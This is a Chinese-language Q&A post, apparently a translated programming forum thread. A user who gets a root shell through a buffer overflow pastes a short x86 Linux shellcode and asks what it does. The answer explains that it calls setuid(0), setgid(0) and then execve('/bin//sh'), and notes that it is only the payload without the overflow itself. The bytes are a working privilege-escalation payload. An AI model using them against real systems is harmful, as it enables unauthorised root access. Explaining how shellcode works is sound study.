解释shellcode

时间:2014-11-27 12:59:02

标签: c shellcode

我使用缓冲区溢出调用shellcode来生成root shell。有人能解释一下这个shellcode究竟是做什么的吗?我尝试过不同的shellcode来生成root shell,但这是唯一适合我的shell。

\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd
\x80

1 个答案:

答案 0 :(得分:3)

乍一看,代码似乎是setuid(0),然后是setgid(0),然后在某些值(包括sys_execve()的ASCII代码)上调用"/bin//sh"

看起来这是纯粹的“有效负载”代码,因为我没有看到任何东西来确保代码首先执行(缓冲区溢出,堆栈粉碎等)。

(感谢@Hans Lub提供反汇编链接)